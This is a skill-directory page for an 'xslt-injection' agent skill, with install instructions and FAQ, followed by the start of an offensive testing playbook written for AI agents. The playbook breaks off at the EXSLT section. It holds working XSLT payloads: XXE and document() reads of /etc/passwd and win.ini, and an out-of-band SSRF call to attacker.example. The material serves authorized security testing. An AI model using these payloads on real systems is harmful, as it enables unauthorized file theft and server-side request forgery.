
Xslt Injection
Authorized security testing when your app accepts user-controlled XSLT, stylesheets, or server-side XML transform endpoints.
Overview
xslt-injection is an agent skill for the Ship phase that guides authorized fingerprinting and exploitation testing of server-side XSLT when user-controlled stylesheets or transform endpoints are in scope.
Install
npx skills add https://github.com/yaklang/hack-skills --skill xslt-injectionWhat is this skill?
- Quick-start workflow: find sinks (xslt/stylesheet/transform), probe with harmless markers, fingerprint processor family,
- Chains document() and XXE-style external entities plus cross-load guidance for generic XML parse vs true XSLT sinks
- EXSLT write primitives and PHP/Java/.NET embedded script extension RCE surfaces mapped per platform
- Destructive-payload warning and authorized-testing-only guardrails baked into routing notes
- Sectioned playbook (§0 quick start through §7 .NET) for Java, .NET, PHP, and libxslt targets
- Playbook sections §0–§7 covering quick start through .NET escalation
- Four processor families called out: Java, .NET, PHP, and libxslt
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
You expose XML-to-HTML, reporting, or SOAP transform endpoints but do not know which XSLT processor runs server-side or whether document(), entities, EXSLT, or script extensions can be chained into SSRF, file write, or R
Who is it for?
Builders or appsec reviewers doing authorized assessments on APIs and SaaS features that accept stylesheets, transform parameters, or generated XSLT.
Skip if: Production systems without written authorization, apps with no server-side XSLT or stylesheet compilation, or teams seeking only generic XXE on non-transform XML parsers (use the XXE skill instead).
When should I use this skill?
User-controlled XSLT/stylesheet input or transform endpoints are in scope for authorized security testing.
What do I get? / Deliverables
You get a processor family label, confirmed execution at the sink, and platform-appropriate escalation paths—with pointers to xxe-xml-external-entity or ssrf-server-side-request-forgery when the attack surface is parse-
- Processor family fingerprint (Java/.NET/PHP/libxslt)
- Confirmed execution probe results at the XSLT sink
- Documented escalation paths (XXE, document() SSRF, EXSLT write, extension RCE) scoped to authorization
Recommended Skills
Journey fit
XSLT injection is validated during the ship phase’s security work—before or alongside release—when transform sinks and outbound chains (SSRF, XXE, RCE) must be ruled out or documented. The playbook is a security subphase artifact: fingerprint processors, probe execution, and escalate by platform rather than feature or distribution work.
How it compares
Use for stylesheet and transform sinks rather than ad-hoc XXE guessing on every XML endpoint—pair with dedicated XXE and SSRF skills when routing notes say parsing or outbound fetch is the real boundary.
Common Questions / FAQ
Who is xslt-injection for?
Solo builders, indie backend developers, and small teams running authorized security reviews on products that transform XML with XSLT server-side.
When should I use xslt-injection?
During Ship-phase security review when stylesheets, transform query parameters, report templates, or SOAP XSLT paths might execute attacker-controlled XSL; also when hardening integrations you built that convert XML to HTML or PDF via XSLT.
Is xslt-injection safe to install?
The skill describes offensive payloads that can be destructive; install only for controlled testing environments and review the Security Audits panel on this Prism page before trusting the package in your agent workspace.
Workflow Chain
Then invoke: xxe xml external entity, ssrf server side request forgery
SKILL.md
READMESKILL.md - Xslt Injection
# SKILL: XSLT Injection — Testing Playbook > **AI LOAD INSTRUCTION**: XSLT injection occurs when **attacker-influenced XSLT** is compiled/executed server-side. Map the **processor family** first (Java/.NET/PHP/libxslt). Then chain **document()**, **external entities**, **EXSLT**, or **embedded script/extension functions** per platform. **Authorized testing only**; many payloads are destructive. Routing note: if input is generic XML parsing and may not flow through XSLT, cross-load `xxe-xml-external-entity`; if you care about outbound `document(http:...)` requests, cross-load `ssrf-server-side-request-forgery`. --- ## 0. QUICK START 1. **Find sinks**: parameters named `xslt`, `stylesheet`, `transform`, `template`, SOAP stylesheets, report generators, XML→HTML converters. 2. **Probe reflection**: inject unique namespace or `xsl:value-of select="'marker'"` — if output changes, execution likely. 3. **Fingerprint** processor (§1). 4. **Escalate** by family: **document()** / **XXE** (§2–3), **EXSLT write** (§4), **PHP** (§5), **Java** (§6), **.NET** (§7). **Quick probe** (harmless marker): ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="'XSLT_PROBE_OK'"/> </xsl:template> </xsl:stylesheet> ``` --- ## 1. VENDOR DETECTION Use standard **system-property** reads inside expressions: ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text"/> <xsl:template match="/"> <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/> <xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/> <xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/> </xsl:template> </xsl:stylesheet> ``` **Typical fingerprints** (examples, not exhaustive): | Signal | Possible engine | |--------|------------------| | `Apache Software Foundation` / Xalan markers | Xalan (Java) | | `Saxonica` / Saxon URI hints | Saxon | | `libxslt` / GNOME stack | libxslt (C, often via PHP, nginx modules, etc.) | | Microsoft URLs / MSXML strings | MSXML / .NET XSLT stack | Use results to select §5–§7 paths. --- ## 2. EXTERNAL ENTITY (XXE VIA XSLT) XSLT 1.0 allows **DTD-based entities** in the stylesheet or source when the parser permits DTDs: ```xml <!DOCTYPE xsl:stylesheet [ <!ENTITY ext_file SYSTEM "file:///etc/passwd"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text"/> <xsl:template match="/"> <xsl:value-of select="'ENTITY_START'"/> <xsl:value-of select="&ext_file;"/> <xsl:value-of select="'ENTITY_END'"/> </xsl:template> </xsl:stylesheet> ``` **Note**: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3). --- ## 3. FILE READ VIA `document()` `document()` loads another XML document into a node-set; local files often parse as XML (noisy) but **errors and partial reads** may still leak. **Unix example**: ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text"/> <xsl:template match="/"> <xsl:copy-of select="document('/etc/passwd')"/> </xsl:template> </xsl:stylesheet> ``` **Windows example**: ```xml <xsl:copy-of select="document('file:///c:/windows/win.ini')"/> ``` **SSRF / out-of-band**: ```xml <xsl:copy-of select="document('http://attacker.example/ssrf')"/> ``` Chain with **error-based** or **timing** observations if inline data does not return to the client. --- ## 4. FILE WRITE VIA EXSLT (`exslt:document`) When **EXSLT common** extension is enab